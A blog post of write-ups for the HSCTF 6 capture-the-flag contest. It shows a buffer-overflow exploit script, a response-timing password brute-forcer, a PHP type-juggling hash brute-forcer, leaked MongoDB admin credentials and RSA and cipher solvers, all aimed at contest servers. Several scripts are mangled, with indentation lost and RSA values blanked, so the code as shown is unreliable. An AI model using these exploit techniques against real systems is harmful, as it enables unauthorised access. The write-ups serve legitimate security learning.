HSCTF 6 CTF Writeups

Soumyadeep Basu
9 min readJun 8, 2019

--

This week we decided to go for HSCTF 6 organized by WW-P HSN CS Club. The CTF was a mixed bag of challs ,some of them were easy-peasy while some were really tough but above all it was fun.

To add to the spice, while the CTF was live one of the DISCORD bots (Keith Bot) setup by the organizers got hacked and was used to throw out flags to various discord channels. The bot and its associated challs was immediately taken down.

* Forensics

Double Trouble

What is a koala anyway?

In this challenge we are given two .png files - koala and koala2.

koala

Initial file analysis with file , binwalk , exiftool, strings yielded nothing. We guessed it to be a XOR challenge and decided to XOR the images but even that failed.

After inspecting koala.png and koala2.png with zsteg we presented with the following information:

> zsteg koala2.png
> zsteg koala.png
Analysis with zsteg

Opening the mediafire link we are given a text file hmmm.txt. Initial file analyisis reveals :

hmmm.txt: GPG symmetrically encrypted data (AES cipher)

So we need to decrypt the file using gpg with passkey : “whatdowehavehere”

Flag: hsctf{koalasarethecutestaren'tthey?}

Skywriting v2

Hint:

We found this to be the hardest forensic chall. It is almost a guessing game in itself.

Encrypted flag  : LjUlMiA9LxI1GTUTNiodECAtUSx5YxY4

External Write-up:

https://github.com/Hong5489/hsctf6/tree/master/skywritter

* Binary Exploitation

Return to Sender

The easiest among the binary exploitation challs, it required the user to cause a simple buffer overflow.

$ pwn checksec return-to-sender
[*] '/root/Downloads/return-to-sender
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000

As you can see, there’s no stack canary and we can overflow the destbuffer in the vuln() function through the gets call.

return-to-sender.c

Here’s the exploit script:

from pwn import * 
p = remote('pwn.hsctf.com', 1234)
buf = 'A'*20
win = p32(0x080491b6)
payload = buf + win
p.sendline(payload)
p.interactive()

Script Credit : Overwatch

Flag: hsctf{fedex_dont_fail_me_now}

* Web

Agent Keith

On the web page we are denied access to the flag,clearly agent here implies User Agent.

Source code inspection reveals that we need to change the User-Agent request header to “ NCSA_Mosaic/2.0 (Windows 3.1)”

Source code

We spawn developer tools (Firefox) edit the User Agent header and send a new GET request:

In response we get the flag :)

Flag: hsctf{wow_you_are_agent_keith_now}

md5 — —

Inspecting the PHP source code we get :

<?php
$flag = file_get_contents("/flag");

if (!isset($_GET["md4"]))
{
highlight_file(__FILE__);
die();
}

if ($_GET["md4"] == hash("md4", $_GET["md4"]))
{
echo $flag;
}
else
{
echo "bad";
}
?>

So basically this challenge demands from us a string whose md4 hash is equal to itself. Such a string may or may not exist :(

The comparison operator used is ‘==’ instead of the strict comparison operator ‘===’ that means we can solve this chall by exploiting PHP type juggling.

We do this by providing a number starting with 0e, which MD4 hash begins with 0e as well and contains only numbers.

This is because these comparisons return true:

<?php
echo intval('0e548' == '0e547'); // result 1, which means TRUE
echo intval('0e548' === '0e547'); // result 0, which means FALSE
?>

My aim was to try and brute force the md4 hash. After a lot of googling I discovered a previous challenge from HackDatKiwi CTF which required the same hash but an md5 one.You can see the chall here.

After changing the code to suit our preferences it stood somewhat like this:

#!/usr/bin/env python
import hashlib
import Crypto.Hash.MD4
import re
prefix = '0e'
def breakit():
iters = 0
while 1:
s = (prefix + str(iters)).encode('utf-8')
hashed_s = hashlib.new('md4', s).hexdigest()
iters = iters + 1
r = re.match('^0e[0-9]{30}', hashed_s)
if r:
print ("[+] found! md4( {} ) ---> {}".format(s, hashed_s))
print ("[+] in {} iterations".format(iters))
exit(0)
if iters % 1000000 == 0:
print ("[+] current value: {} {} iterations, continue...".format(s, iters))
breakit()

After running it for a couple of minutes and almost 216 millions of iterations, I got the string which gave me the flag:

[+] current value: 0e230999999       231000000 iterations, continue...
[+] current value: 0e231999999 232000000 iterations, continue...
[+] current value: 0e232999999 233000000 iterations, continue...
[+] current value: 0e233999999 234000000 iterations, continue...
[+] current value: 0e234999999 235000000 iterations, continue...
[+] current value: 0e235999999 236000000 iterations, continue...
[+] current value: 0e236999999 237000000 iterations, continue...
[+] current value: 0e237999999 238000000 iterations, continue...
[+] current value: 0e238999999 239000000 iterations, continue...
[+] current value: 0e239999999 240000000 iterations, continue...
[+] current value: 0e240999999 241000000 iterations, continue...
[+] current value: 0e241999999 242000000 iterations, continue...
[+] current value: 0e242999999 243000000 iterations, continue...
[+] current value: 0e243999999 244000000 iterations, continue...
[+] current value: 0e244999999 245000000 iterations, continue...
[+] current value: 0e245999999 246000000 iterations, continue...
[+] current value: 0e246999999 247000000 iterations, continue...
[+] current value: 0e247999999 248000000 iterations, continue...
[+] current value: 0e248999999 249000000 iterations, continue...
[+] current value: 0e249999999 250000000 iterations, continue...
[+] current value: 0e250999999 251000000 iterations, continue...
[+] found! md5( 0e251288019 ) ---> 0e874956163641961271069404332409
[+] in 251288020 iterations

After entering the md4 hash into the URL:

Flag: hsctf{php_type_juggling_is_fun}

Networked Password

Challenge description

Hint : You know the flag format

We are given a website that simply asks for a password and displays incorrect password when any arbitrary input is given.

Incorrect password :(

Let us have a look at the source code:

It is a simple form with a text box and a submit button. The real fun starts when we decided to look at the response time for various input strings.

'aaaa' : 233 ms
'h' : 1.32 s
'hsctf{}': 4.5 s

That was when we realized that it is a network timing based attack. After 30 mins of study we came up with:

import requests, string

url = 'https://networked-password.web.chal.hsctf.com'
charset = string.letters + string.digits + string.punctuation
# print charset
flag = "hsctf{"
resp = 0
char = ""

while flag[-1] != "}":
for i in charset:
payload = {"password":flag + i}
# print "[*] Trying: " + flag + i
r = requests.post(url, data = payload)
if r.elapsed.total_seconds() > resp:
resp = r.elapsed.total_seconds()
char = i
flag += char
resp = 0
print "[+] Flag: " + flag
print "--

The script brute forces the site and stores the character that is returned with the highest response time.

[+] Flag: hsctf{s
[+] Flag: hsctf{sm
[+] Flag: hsctf{sm0
[+] Flag: hsctf{sm0l
[+] Flag: hsctf{sm0l_
[+] Flag: hsctf{sm0l_f
[+] Flag: hsctf{sm0l_fl
[+] Flag: hsctf{sm0l_fl4
[+] Flag: hsctf{sm0l_fl4g
[+] Flag: hsctf{sm0l_fl4g}

Accessible Rich Internet Applications

External Write-up:

https://mrt4ntr4.github.io/HSCTF-ARIA-Writeup/

Keith Logger

We download the extension.crx and do file command on it:

extension.crx: Google Chrome extension, version 3

We did not go for installing the extension instead we binwalked the file to get three files

The main file of interest was content.js:

content.js

On visiting the link we are greeted with this text:

Link : https://keith-logger.web.chal.hsctf.com/api/admin

Now that’s the credentials for a Mongodb connection. We will be using robo3t to establish a connection to the database:

Address: keith-logger-mongodb.web.chal.hsctf.com

Port: 27017

Database: admin

Username: admin

Password: keithkeithkeith

Flag: hsctf{watch_out_for_keyloggers}

* Cryptography

Really Secure Algorithm

We are presented with a txt file that gives us the values of n, e and c.

n = 263267198123727104271550205341958556303174876064032565857792727663848160746900434003334094378461840454433227578735680279553650400052510227283214433685655389241738968354222022240447121539162931116186488081274412377377863765060659624492965287622808692749117314129201849562443565726131685574812838404826685772784018356022327187718875291322282817197153362298286311745185044256353269081114504160345675620425507611498834298188117790948858958927324322729589237022927318641658527526339949064156992164883005731437748282518738478979873117409239854040895815331355928887403604759009882738848259473325879750260720986636810762489517585226347851473734040531823667025962249586099400648241100437388872231055432689235806576775408121773865595903729724074502829922897576209606754695074134609
e = 65537
c = 63730750663034420186054203696069279764587723426304400672168802689236894414173435574483861036285304923175308990970626739416195244195549995430401827434818046984872271300851807150225874311165602381589988405416304964847452307525883351225541615576599793984531868515708574409281711313769662949003103013799762173274319885217020434609677019589956037159254692138098542595148862209162217974360672409463898048108702225525424962923062427384889851578644031591358064552906800570492514371562100724091169894418230725012261656940082835040737854122792213175137748786146901908965502442703781479786905292956846018910885453170712237452652785768243138215686333746130607279614237568018186440315574405008206846139370637386144872550749882260458201528561992116159466686768832642982965722508678847

Let’s try and factorize n. Using factordb we can understand that n is a square of another number. For this reason, usual method of calculating Euler function is useless. But it isn’t a problem we will phi according to the script.We cooked up a python script to attack this RSA problem:

from pwn import *
import math
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('modular inverse does not exist')
else:
return x % m
c =e =n =p =q =#n = p*q#Note when n is perfect square phi = p * (p-1) so change accordinglyphi = (p-1) * (q-1)d = modinv(e, phi)
m = pow(c, d, n)
flag = unhex(hex(m)[2:])print('flag: {}'.format(flag))

We run the script as phi = p * (p-1) and we are greeted with the flag :)

Flag: hsctf{square_number_time}

Welcome to Crypto Land

Cipher text: KZ6UaztNnau6z39oMHUu8UTvdmq1bhob3CcEFdWXRfxJqdUAiNep4pkvkAZUSn9CvEvPNT5r2zt6JPg9bVBPYuTW4xr8v2PuPxVuCT6MLJWDJp84

We fire up Cyber Chef and apply the magic recipe to the input string. You will get the flag from a base 58 encoded text. To view it in action:

https://gchq.github.io/CyberChef/#recipe=Magic(3,false,false,'')&input=S1o2VWF6dE5uYXU2ejM5b01IVXU4VVR2ZG1xMWJob2IzQ2NFRmRXWFJmeEpxZFVBaU5lcDRwa3ZrQVpVU245Q3ZFdlBOVDVyMnp0NkpQZzliVkJQWXVUVzR4cjh2MlB1UHhWdUNUNk1MSldESnA4NA

Flag: hsctf{w0w_th1s_1s_my_f1rst_crypt0_chall3ng3?}

A Lost Cause

According to the problem statement every letter in the cipher text is such that with reference to the message each letter has been shifted one less than the previous. We decide to brute force the cipher text using a python script. The script to brute force Caesar cipher has been slightly modified to serve our purpose.

Script:

LETTERS = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'for key in range(len(LETTERS)):
temp = key
translated = ''
for symbol in message:
if symbol in LETTERS:
num = LETTERS.find(symbol)
num = num - temp
#print("symbol is %c and key is %d",symbol,temp)
if num < 0:
num = num + len(LETTERS)
translated = translated + LETTERS[num]
else:
translated = translated + symbol
temp = temp-1
if(temp<0):
temp = 25
print('Hacking key #%s: %s' % (key, translated.lower()))

Check Hacking key #22:

Flag: hsctf{GLASSESAREUSEFULDONOTLOSETHEM}

--

--

Soumyadeep Basu
Soumyadeep Basu

Written by Soumyadeep Basu

CTF 🚩 ● Hack the Box ● CyberSec Enthusiast ● Snooker Addict

No responses yet